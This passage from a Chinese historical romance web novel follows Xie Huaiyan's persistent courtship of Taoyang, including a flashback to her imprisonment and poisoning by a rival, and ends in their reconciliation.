谢怀砚神色淡漠呵笑一声:“她嫁不嫁我,谁都阻挡不了!”谢怀砚上前一步,神色意味不明:“庾二爷还是仔细想明白了,毕竟,你虽不配做她的父亲,我也不想杀了你。” “谢怀砚!” 谢怀砚让部曲把送给庾睿的厚礼搁在院中,大步离去,庾睿在他身后怒道:“竖子狂妄!” 庾子轩和桃漾坐在阁楼上吹着风,来这里的路上他本想着定要把谢怀砚在淮阳如何折磨他都告诉给桃漾听,好让桃漾也同他一样恨谢怀砚。 可他现在看着桃漾,忽然就不想跟她说了。 他们庾氏这些年本就没能照顾过她,他又何必把他的这些痛苦都告知于她,让她心里也难受,而且,以谢怀砚的行事作风,是非桃漾不娶的,他若说了这些,也会让桃漾为难。 谢怀砚在得知桃漾是去了北朝时,就命人将庾子轩送回了颍川,虽有医师为庾子轩医治,他回到庾氏时也是腿脚不稳,手上用不了力。 养了近半载才恢复如初。 他回到栖云坞后,让人扶着他去了桃漾种下的那片花草园,姹紫嫣红的花已经开了一茬又一茬,长出的种子落在土地,到了春日里再发芽。 只是无人打理,显得有些荒芜。 他当时心里难过,听闻了那艘商船遇到水匪之事,坐在泥土上放声大哭,口中喊着‘桃漾妹妹’。 庾子轩从这种情绪中走出,与桃漾低声道:“父亲本也是要与我一起来的,可他去了趟阳夏后再回来,不知为何就不来了,只让我给你带了好些东西。” 桃漾对他淡淡颔首,没说什么。 庾子轩站起身,在阁楼上看着远处部曲们还在田里劳作,不由笑道:“他们都是些拿刀的高手,给你种起地来了。”桃漾也起身,望过去:“我问过他们的,离开这里还是种田,他们都不走。” 庾子轩再笑:“待我明日回栖云坞将坞中事交代了,就再来这里陪你。” 庾子轩离开后,桃漾只要用了五石散,就会出现那些梦境,到了后来,就算没有五石散,她夜间睡下那些记忆也会在她脑中盘桓不去。 整整一月时日,她的梦境越发频繁,有时已让她有些分辨不出梦境和现实,沈婆子见她这模样,每日夜里都给她点着安神香。 可桃漾的神色还是一日比一日消沉下去,有时独自一人坐在阁楼上,眉头都能拧成麻绳,沈婆子听了庄子里人的话,认为桃漾是被什么脏东西给上身了。 要请道士前来给她做法,桃漾没让她这么做。 六月半的时候,庾子轩再来了这里,身边还带着阿梓。 阿梓已长成了大姑娘,亭亭玉立,极为开朗,桃漾和庾子轩坐在阁楼上说话时,阿梓去做了份糕点端过来,笑着与桃漾道:“桃漾姐姐,你尝尝我做的糕点。” 当初,桃漾离开坞堡前,教给了阿梓做糕点,这几年阿梓靠着做糕点去集市上售卖,养活了她和她阿娘,日子也越过越好。 桃漾对她莞尔,拿起一块尝了尝,温声道:“味道很好,是不是还加了些别的?”阿梓对她笑着点头:“我见桃漾姐姐不是很开心,就加了些玫瑰。” 庾子轩把坞堡的事交代给了别的郎君,他就一直待在桃漾这里,每日里陪着桃漾忙东忙西,七夕节这日,淮阳城内热闹的很,庾子轩就自己扎了许愿灯,要在晚间和桃漾一起在阁楼上许愿。 天色微暗时,他们正用着晚 膳,沈婆子上前来回禀,笑声道:“姑娘,公子回来了!”桃漾闻言神色微怔,梦境中的事如泄洪般袭入她脑中,让她眉心凝了又凝。 庾子轩看了看她,直接问沈婆子:“他到哪了?” 沈婆子回:“出,出淮阳城了。” 谢怀砚来到庄子里时,阁楼内空空荡荡,只有水叶水兰跪在一侧,沈婆子和青翠早就跪在了院外,水叶颤声禀道:“庾四郎君带着姑娘就进了这间屋子,可这间屋子里却没人——” 谢怀砚去了建康两月有余,事情还未处理完,前日夜半自宫中回府时,见到路边摊铺上挂满了各色各样的许愿灯,掌柜的说后日七夕。 他彻夜忙完手边公务,快马赶回淮阳。 她却不见他—— 他神色沉郁生冷,对身后部曲吩咐:“快马至小望山,把庾子轩的别苑一把火给我烧了!” 小望山就在淮阳城外三十里,庾氏在那里有几处别苑,火光漫天许久,依旧不见庾子轩出来,谢怀砚抬手摔了手中杯盏,沉声:“又一个犟种!” 第75章 无赖娶个妻子 庾子轩钻研机关术多年,颇有小成,尤其是去岁,他像是突然被打通了任督二脉一样,设计出的机关灵巧绝妙,几乎无人可破。 他整日待在桃漾这里,闲来无事时,就给这处庄子也设计了机关。 此时,她和桃漾坐在庄子外矮山中的古亭里,看着不远处他的别苑走了水,神色不但不恼,反而放声大笑:“哈,桃漾妹妹,你看,谢怀砚定是破不了我的机关,才去让人烧了别苑!” 他兴奋的不行,桃漾在一侧抬眸看他,神色间染上几许无奈,问:“别苑被烧了,子轩哥哥当真不去瞧瞧么?”她抬手给庾子轩指了指:“那里有条下山的小道。” 庾子轩闻言急忙看过去,神色懊恼:“怎还有通往这里的路,明儿就让人给赌了!”他兴奋过后,回身看向桃漾,语气随意:“别苑毁了,可以重新修缮,不碍事。” 自田庄阁楼通往这座矮山的路上庾子轩设了数十道机关,非常人能轻易破开,他和桃漾自山中穿过,待的这处位置四面无路,除却适才桃漾给他指的那条林木丛生的小道。 此时是夜间,不熟悉此山之人也很难发现。 到了子时,空渊神色凝重再前来回禀时,谢怀砚负手而立站在窗牖前,默上许久,对空渊道:“不必找了。”空渊在他身后欲言又止,低声应是。 翌日一早,谢怀砚再快马离开了淮阳,往建康而去。 庾子轩得知谢怀砚一大早神色暗沉的再返回了建康,心中也总算是出了口气,让沈婆子去园子里抓了只大鹅,再去搬来一坛桂花酒,大家一起庆祝。 沈婆子当时就沉了脸,灰沉沉的去了。 庾子轩坐在树下悠闲品茶,庾氏部曲前来回禀,将一盒银票搁在了庾子轩面前:“郎君,这是在别苑门前发现的。”檀木盒上赫然刻着‘谢’字。 庾子轩瞬时也沉了脸。 山间古亭里有庾子轩设计的暗室,桃漾昨夜在那里歇的还算安稳,白日里和沈婆子她们一起去田地里给花草浇了水,忙活许久后身上出了些薄汗。 回到阁楼沐浴后走进卧房,抬眸间就看到了床榻边挂着的一只小桃灯。 里面的烛火还未燃尽,透着弱弱的白光。 桃漾上前将它吹灭,拿起巴掌大的许愿灯四下看了看,边搁在小几上边低声道:“丑丑的——” 她上了榻准备午憩,刚躺在枕上就觉出不太对,纤指抬起软枕,就再看到了枕下的一只小檀木盒,她拿在手中,按住锁扣,檀木盒‘啪’的一声启开。 里面是一对做工灵巧的玉兔捣药发簪。 玉簪下面还有一张折纸,桃漾拿出后展开,银光纸上是一幅用墨笔简单勾勒出的画,画着的是她坐在树下捣药草—— 七月很快过去,中秋节前一日,谢夫人命人来了城外,让桃漾回府中同她们一起过中秋,这不是谢夫人第一次命人前来,之前端午节的时候,桃漾就回绝了。 中秋这日,她坐马车回了谢府。 府中人热热闹闹的聚在一起,和从前没有分别,只是多了几张陌生面孔,是嫁来的新妇,也少了几张熟悉面孔,谢念早在前年就嫁了人,谢嫣也已定了亲,今岁重阳后便要出嫁。 热闹到了最后,谢老夫人叹声问桃漾:“过中秋节呢,怀砚也不回来,在忙些什么呢?” 桃漾对老夫人摇头:“我也不知。” 谢怀砚近来没给她来过书信。 谢老夫人也就没再问,在存玉堂散去后,桃漾本是要和谢夫人回桂月园去说话,府中的夫人和姑娘们都有意和她凑近乎,桃漾就在水榭内和她们闲话吃茶,待了好些时候。 晚间就歇在了谢夫人的桂月园里,第二日一早才再回田庄。 九月底的时候,天气已微凉,桃漾和沈婆子她们把种下的花草和药材都收回,再种下了新一季的,这日,桃漾正在阁楼她的书案前把这几月来种植药草遇到的问题,以及各种药草在种植时的习性都一一写下。 水叶上前来与她道:“姑娘,咱们隔壁的庄子里也住了人。”她们隔壁的庄子是早些年陈氏在这里购置的,一直都是家仆在打理,主人已有些年头未来过。 庾子轩在这里的时候,桃漾还和他去隔壁走过几回。 她闻言抬眸往隔壁方向看了眼,问水叶:“住进来的是什么人?” 水叶回:“听隔壁阿婆说,是位年轻公子。”水叶话落,青翠手中就提了只食盒走进来,搁在八仙桌上后与桃漾道:“姑娘,隔壁新来的邻居让人送来的,说是日后还望多多关照。” 桃漾在书案前起身,把食盒打开来,里面俱是一些应季的蔬果,鲜灵灵的,这些东西不贵重,桃漾就让青翠收下,再准备些糕点送到隔壁去。 之后的几日,隔壁都很安静,桃漾也在庄子里忙着晾晒药草,这日夜里,窸窸窣窣的落了场秋雨,第二日一早雨停,桃漾要进山瞧一瞧种下没多久的药草。 这座矮山不高,有几处八角古亭,从前也只有桃漾这庄子里的人常会来此,她在山中行出有百步时,隐隐瞧见山道一侧的古亭内坐着一人。 背影宽大,衣着矜贵,似是正随手翻着一本书卷。 桃漾在心里暗暗道,这应该就是隔壁庄子里新来的那位邻居。 这条山道是她上山的必经之路,桃漾隔着层层林木望过去一眼,继续抬步往前走。 待转过一大片的榕树林,离得古亭近些时,桃漾清丽的眉眼微微凝了下,下一刻,古亭内的男人侧首朝她看过来,一手握着书卷一手端着杯盏。 神色平和与她道:“过来用盏茶。” 桃漾站在原地怔了许久,抬步朝他走过去,谢怀砚搁下手中书卷给她添了杯茶递过去,语气不解的问她:“你来这山里做什么?” 桃漾:“……” 她抬手给他指了指:“山里种着很多药材,我来看看。” 谢怀砚对她颔首:“我本以为这山中清净,来这里看会儿书,”他往桃漾手指的方向看过去:“既是你也来了这里,带我瞧瞧你种的药材罢。” 桃漾抬眸看他一眼,默默用了他递来的茶水,起身再往山中种植药材的地方走。 昨夜刚落过雨,山中地面湿滑,桃漾走在前,谢怀砚就在她身后跟着,林中时不时有鸟啼声,再带上几声蛙鸣,很是空幽寂静。 谢怀砚很是沉默,跟着她看了几片药材地,偶尔问上几句药性,不多时,天幕上一团又一团的乌云漂浮着,还带了几声雷鸣,桃漾抬眸看了眼,与他道:“我没带伞,下山罢。” 谢怀砚对她应声,依旧是跟在她身后,直到了田庄的北门前。 和他这么一路自山中走下来,桃漾弄不明白他此次回来是要做什么,也不知如何去问,只停下步子抬眸再去看他,谢怀砚对她淡淡颔首示意,抬步走去了隔壁庄子。 桃漾第二日没再去山中,在庄子里研磨了几个时辰的药草后,她问沈婆子:“他走了么?”沈婆子犹犹豫豫,问:“姑娘说的是谁?” 桃漾神色沉下看她一眼,沈婆子再讪讪笑道:“公子没走呢,姑娘是要见他吗?” 桃漾摇了摇头,再问:“他什么时候走?” 沈婆子:“公子的事, 老奴哪能知道呢。” 桃漾住在三层阁楼的第二层,每日晨起都会习惯性的走出屋门站在阁楼上伸伸懒腰,再趴在护栏上发会儿怔再去洗漱用早膳。 第二日一早,她睡醒起身,刚踏出屋门,睡眼惺忪的打了个小哈欠,就看到隔壁庄子的三层阁楼上谢怀砚正坐在那里,神色认真的翻阅书卷—— 两座阁楼隔得并不远,往日里对面的阁楼总是空荡荡的,桃漾不由吓了一吓,凝眉朝他看过去,对面的人似有所觉,掀开眼眸也朝着她这边望过来,见桃漾正看着他,对桃漾颔首示意,薄唇微动,似是说了句:“早。” 桃漾转身回了屋中,对水叶道:“把门合上。” 桃漾每隔几日总要去山中看她的药草的,这日她再上山来,谢怀砚依旧在山中古亭中闲坐,独自一人对弈,见桃漾走过来,他搁下手中棋子,起身一起往种植药草的位置去。 桃漾停下步子抬眸看他,低声问:“你已在这里逗留了数十日,不回建康么?”他如今已入了尚书省,任一朝尚书令,中秋节的时候谢夫人给他去书信问他是否回来,他还说公务繁忙,抽不开身。 谢怀砚今日难得穿了件墨青色宽袍,气质清隽,眉眼温润,敛眸淡淡看着桃漾,温声道:“不回了。” 他话落,桃漾神色间含满不解看他。 谢怀砚薄唇勾笑:“陛下心疼我都到了这个年纪还孤身一人,让我休沐一段时日好娶个妻子在身边。”他语气散漫,温润的眉眼染了笑,人畜无害。 山间清风拂过,默上片刻,桃漾有些微恼再与他道:“你答应我的,明年初夏。” 谢怀砚神色平和,对她淡淡‘嗯’了声:“我在此住我的庄子,和你有什么关系?” 桃漾:“……” 她这几日知晓谢怀砚就在隔壁,心里总是乱乱的。 桃漾抬眸再看他,沉声:“你别来山里。” 谢怀砚闻言低笑,丢给她一句:“怎么,这山是你家的!”他说完,抬步继续往栽种药草的地方走去,桃漾站在山路上,看着他的高大背影,低声骂了句:“无赖!” 【终章】 第76章 并蒂莲揽进怀中 这座矮山就在两座庄子后,是一座无名山,因附近都是门阀士族的田庄,没有人上山来采药狩猎,桃漾能来,谢怀砚自然也可以。 桃漾赶他不走,就神色严肃的告诫沈婆子她们,不许再去告知谢怀砚她什么时候进山,她们都一一应下,可之后她每回再进山时,谢怀砚都在。 他与桃漾一起上山,起初桃漾忙活着给草药浇水、撒草木灰,谢怀砚在一侧也帮些忙,后来,时日久了,他干脆就和桃漾一起做起了这些活计。 入了冬后,天气渐冷,桃漾也就不再常去山中了,有时候五六日才去走上一趟,谢怀砚从未来过她的庄子,只站在阁楼上远远的瞧着她这边。 进了冬月,淮阳城外一连落了好几日的雪,桃漾想上山去折几枝绿萼梅来插在玉瓶中,可山路都被雪封了,只能闷在屋里,青翠与她笑道:“姑娘在担心这个?上山的路上早就没有雪了。” 桃漾朝她轻疑了声:“落那么厚的雪,怎会没有了呢?” 青翠抬了抬眉,卖关子与她道:“姑娘若是不信,可以去瞧瞧,在屋里闷着不也没趣么?”桃漾闻言想了想,取来她的狐裘披在身上和青翠一起去了山中。 上山的路确实早被清了出来,她们悠闲的行到山腰那处古亭时,古亭外一只白白胖胖的雪人正朝着她们这边望过来,黑豆为眼,红豆为唇,倒有几分可爱。 桃漾看着,一时也起了堆雪人的兴致,就在这只雪人的身侧和青翠一起也堆了一只。 到了除夕这日,隔壁庄子灶房里的厨娘突然有急事回了家,提前备好的年货也被野猫给衔跑了,空渊垂头丧气的前来桃漾这里讨份晚膳给他家公子用。 沈婆子闻言当即道:“这么冷的天你带回去也都凉了,让公子来庄子里一起用膳罢,大过年的,也热闹些。”桃漾没有回谢氏陪老夫人一起守岁,谢怀砚也未回去。 沈婆子说完看向桃漾,桃漾把口中的莲子糕咽下后,与空渊道:“我们备的年货多,唤上你们庄子里的部曲,大家一起过来用膳罢。” 空渊高兴的应了声,急忙就回去了。 夜里,谢怀砚在阁楼上和桃漾一起守岁,那只七夕时他刻下的小桃灯就挂在窗边,桃漾和沈婆子她们剪窗纸,谢怀砚也不知跟谁学的,剪了她的小像,倒是有上九分的相似。 临近子时的时候,暗沉天幕再落下了簌簌飞雪。 屋内搁置了好些炭盆,暖烘烘的,桃漾有些疲倦,用了一盏又一盏的茶,依旧是解不了困意,谢怀砚负手而立站在窗边,侧眸来看她:“落雪了,出去走走。” 两人并肩而行,在簌簌飞雪下漫步,冬日里的田庄空旷,寂静无声,脚步踏在雪地上,发出吱呀吱呀的声响,闲走有两刻钟时,淮阳城的上空‘轰隆隆’一片,焰火在天幕炸开。 桃漾身上裹着狐裘,头上还带着绒帽,扬起下颌来去瞧,谢怀砚俯身,将她揽在怀中吻住她的唇,天上焰火停下时,桃漾抬手推他,他默了许久,才站直了身。 除夕夜已过,已是又一年的初一日。 桃漾要回去睡下了,谢怀砚站在漫天飞雪中看着她的身影逐渐走远,直到上了阁楼。 过了年关,谢怀砚回了一趟建康城,三月初方回,他回来后桃漾每次再上山,他依旧是在半山腰的古亭内,只是,他每次搁下手中棋子或书卷起身时,总要在古亭的檐下扯下一颗红豆来。 自谢怀砚回来,古亭檐下就挂了许多颗的红豆,像是红玉石珠帘,清风拂动,四下摇曳,起初桃漾不知这是何意,直到四月初的时候,上面的红豆被他扯下了好几十颗,都不好看了。 桃漾问他:“你每日里扯这个做什么?” 谢怀砚抬眸看了眼剩余的红豆,再看向桃漾,神色平和道:“还有三十颗,”他眉心微抬,嗓音沉了几许:“桃漾,还有三十天—-” 桃漾瞬时明白了他是何意,没有回他的话,抬步往山中走。 自从桃漾开口问了他后,之后桃漾再去山中,谢怀砚扯下红豆时,总要时不时的与她说还剩下多少颗,到了最后不用他说,上面零星挂着几颗,桃漾一眼就能看出来。 立夏的前一夜,桃漾躺在枕上,翻来覆去的睡不下,天光还未大亮时,她就又醒了过来,下榻披了外衣推开屋门,抬眸间,她看到了一枝并蒂莲。 她的屋门前多了张檀木小几,白玉瓶搁在小几上,里面插着一枝含苞待放的并蒂莲。 桃漾站在屋门前,垂眸看着。 清晨的风微凉,吹在面上把她刚醒来的困顿都给拂去。 梦中的墨园后山,到了夏日整片的莲盛放。 她知道谢书易让她与谢怀砚讨教书法是何意,是以,当谢怀砚说要教她书法时,她回绝了,可谢怀砚还是教了她。 之后,他还教了她抚琴、作画—— 她给谢书易去的每封书信中,都不曾提及过谢怀砚,也未言说过墨园之事,她不愿做棋子,也不想掺进他们之间的事中,她知道,她送出去的 每封书信谢怀砚都知晓。 谢书易再给她来信时,依旧和善关切,只是未提及过娶她之事,她在墨园得到了谢怀砚的信任,在一次他受了伤她为他上药时,她低声与他道:“我已到了出嫁的年纪,公子可能为我寻个出路?” 谢怀砚看了她片刻,应允下她:“桃漾妹妹想嫁人,我自是会为妹妹寻个不错的人家。” 之后,她一直在墨园里待着,谢怀砚书写公文时,她在一侧为他研磨,他作画抚琴时,也会让她一起,只是,他迟迟未提及过她的亲事。 她不想再待在谢氏了,这些年她在谢氏长大,谢澜每次来信只让她讨好老夫人,桓馥虽会关心她,可她毕竟没有在桓馥身边长大,她也深知自己的身世,她没有依靠。 若再等下去,她依旧会被老夫人随意给指了人。 天气热些时,她去莲湖里摘了莲蓬,给谢怀砚做了清心消暑的莲子糕,还在他书房的铜兽炉内添了莲子香粉,那日,他用了一块她做的莲子糕。 桃漾见他喜欢,再次与他提起她的亲事。 那夜,谢怀砚吻了她。 之后,一切如常,她依然待在他的墨园里,他们也和从前一样相处,桃漾心里乱糟糟的,不确定那个吻是何意,是一时兴起,还是对她有意—— 并蒂莲有男女定情之意,那日,他要去墨园的后山,她问他:“公子可以折一枝并蒂莲回来送给我么?” 他对她颔首应下。 待至午后,他下山回来书房时,手中确实有枝并蒂莲,只是,卢氏的七姑娘来了墨园,秋霜说昨日老夫人刚为公子和卢七姑娘定下亲事。 他与卢七见过面后,那枝并蒂莲不见了。 没过多久,谢书易自建康回到淮阳,说要带桃漾回阳夏,让谢澜认她为义女,好着手操办他们的亲事,那日,桃漾站在谢怀砚的书案前,轻声与他道:“桃漾多谢公子这么久以来的关照,我已收拾好行李,午后便离开。” 她那日身上穿着一件素雅的藕色百褶裙,耳边戴着一对红玉镶翠耳珰,面靥清丽,谢怀砚抬眸来看她,眉心微凝,问她:“你要走?” 桃漾对他点头。 “大郎君要带我回阳夏,公子珍重。”她说完,抬步转身,谢怀砚在她身后起身,嗓音冷沉:“站住!” 桃漾转了一半的身,只露出半边侧颜和耳边的红玉耳珰,她脚下步子停住,随即再抬起走出了他的书房。 矜贵傲慢如他,并未再开口唤她。 她和谢书易走了。 谢书易却并未带她回阳夏,他把她囚禁在城外的一处别苑内,逼着她模仿谢怀砚的字迹给遍布在各个州府的暗线写书信,他要毁了谢怀砚,让他身败名裂,好代替他坐上日后的家主之位。 也是那时桃漾才知,谢怀砚并没有和卢七姑娘定亲,是谢书易的人在暗中误导她,谢书易露出了他的本来面目,对她百般羞辱。 “呵,不愿帮我?在他的墨园里待了这么久,怕是早就不是个雏儿!” “谢怀砚最是清高自傲,怎么可能会娶你!” “桃漾妹妹若再这般犟,我只好把妹妹送去黑窑里,妹妹到了这里,定是所有人抢着要——” 桃漾帮了他。 帮他模仿了谢怀砚的字迹,给各州府去了书信。 第二日,谢书易命人给她喂下了魇毒,她在谢怀砚的墨园待了十月时日,他就让她痛苦五个时辰而死,她只存一丝意识时,已感觉不到痛,只是觉得有人在捏着她的手指写字。 再到后来,她似是听到了谢怀砚的声音—— 谢怀砚来到城外别苑时,桃漾躺在屋内的榻上,无论他怎么唤她,她已没了回应,只手中死死的攥着一张香帕,上面是她用血写出的字迹。 ——我与谢怀砚未曾有过情分,生与死,我都是你的妻,书易—— 谢怀砚攥着她的香帕,神色冷沉如冰,一把撕开手中血书,呵笑:“就这么爱他!” 当时,谢书易神色着急一脸茫然的赶回别苑,看到桃漾这副模样时,刚大喊了一声,就被谢怀砚当即一剑了结了性命。 是谢书易害死了她,她却还在想着做他的妻子,谢怀砚将屋里的东西摔砸了一片,冷声:“蠢货!他害死了你,你还念着他——” 他把桃漾的尸首带回,葬在了墨园后山他为她新种下的那片莲池旁。 他恨桃漾虚情假意,弃他而去,欺他、伤他,恨不得将她千刀万剐,他的情绪一日比一日的重,对她的恨深入骨髓,直到那日,他在墨园里见了净空大师。 他回到了年少时,在存玉堂里看到她的第一眼就让他头痛欲裂,心中厌恶至极,他凝眉看着她,对她说出了那句:“真晦气!” 之后,他大病一场,醒来后已什么都不太记得,待他再长大些,睡梦中便常出现一道身影,那是在墨园的书房内,女子半转了身,只留给他一个分辨不清的侧颜和耳边的那只红玉耳珰。 还有她身上清甜的莲子气息。 他被这梦境,被这气息,折磨的夜夜难以安枕。 那日他为她折下的并蒂莲被卢七触碰了,就让人拿去丢了,他为她新开凿了一片莲池,想等着花开时再带她去—— 桃漾俯身在并蒂莲前轻嗅,淡淡的清香,她再抬起眼眸来时,在晨起东山灿红的日光中她看到了谢怀砚,他一袭墨色锦袍就站在她的阁楼下。 桃漾垂眸看着他,这么久的时日以来,她一直不太愿意去面对,沈婆子曾在长陵郡的别苑问她,这样和他对着干,当真只是怨和恨么? 后来在鹿鸣山的那段时日,她和谢怀砚朝夕相处,他们一起纵马,一起抚琴,一起作画,那样闲逸安稳的日子里,她想要什么就有什么,是她在阳夏的十几载从未有过的肆意放纵。 谢怀砚待她好,待她纵容。 她在欺骗他时,自己又何尝不是也在其中,不知不觉间她已入戏三分,沉溺在那种温柔中。 她也曾在沉沦过后抛去理智的去想过,留在鹿鸣山,留在谢氏,是不是也可以呢? 有他的喜欢,或许她可以再有一个孩子,待有了依仗,日子总不会过的太差。 可每到白日里,她又会为自己有这种想法感到可怕,当她意识到她对谢怀砚有了依恋时,她的内心无比恐惧,就像是被人一刀又一刀的刺在心上。 她可以利用他,可以依仗他,但她绝不可以爱他,爱上这样一个薄情狠戾的人从来不是一个好的归宿。 她也不敢把自己全身心的交给任何人。 她在这种情绪中越来越恐惧,选择了提前离开。 她走出淮阳的每一步,心里都如拔下一根刺,让她感到轻松,可她又会在遇到水匪时,无依无靠时想到他。 后来,她逐渐在北朝安了家,让自己忙起来,她以为她对谢怀砚的情绪已渐渐消失,她开始了自己的新生活,也愿意去接受萧子亭。 可当她再次见到谢怀砚,明明那些刺早就被拔下了的,她早就把他忘了的,可那些情绪却再次一拥而起,让她痛苦,让她压抑,让她就要喘不过气来。 她不愿意去承认。 只能去恨他、怨他,不放过他,也不放过自己。 此时,她眸光直直的看着谢怀砚,想到墨园书房里他吻她时,她滚烫的脸颊,以及砰砰直响的心脏,在她意识全无时听到他的声音,她便想着,若她能重来一次,便多信任他一些,不再离开他。 她早已明白她对谢怀砚是怎样的复杂情绪,只是,她始终解不开心里的结,今日初夏,她逃避了那么久,总算是敢于面对,也该放过他,放过自己,和他重新开始。 桃漾上前一步懒懒的趴在护栏上,神色温润,故作不知开口问他:“一大早的,你给我送枝莲是什么意思?” 谢怀砚 长身玉立,身后是东山升起的朝阳,他整个人沐在晨起清透的光影中,轮廓分明,面庞俊美,抬起眼眸与桃漾相视,薄唇勾笑,与她道:“并蒂莲,定情花。” 桃漾轻轻抬了抬眉。 谢怀砚朝她伸出手,他宽大手掌松松蜷握着,神神秘秘的,看不到手心里是什么,桃漾问他:“什么?”他只看着她不言语。 桃漾提裙踩上木梯,下了阁楼,站在他面前。 抬手把他的修长指节给掰开,里面是空的,她刚抬起眼眸来要瞪他,就被谢怀砚揽进怀中——